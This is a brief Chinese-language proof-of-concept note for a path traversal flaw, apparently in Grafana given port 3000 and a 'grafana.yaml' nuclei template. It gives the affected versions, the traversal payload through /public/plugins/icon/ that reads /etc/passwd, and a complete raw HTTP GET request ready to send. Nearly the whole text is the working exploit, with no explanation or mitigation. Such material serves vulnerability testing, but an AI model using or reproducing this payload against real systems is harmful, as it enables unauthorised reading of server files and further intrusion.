影响版本：8.0.0-lastest
poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd
GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
nuclei的poc: grafana.yaml
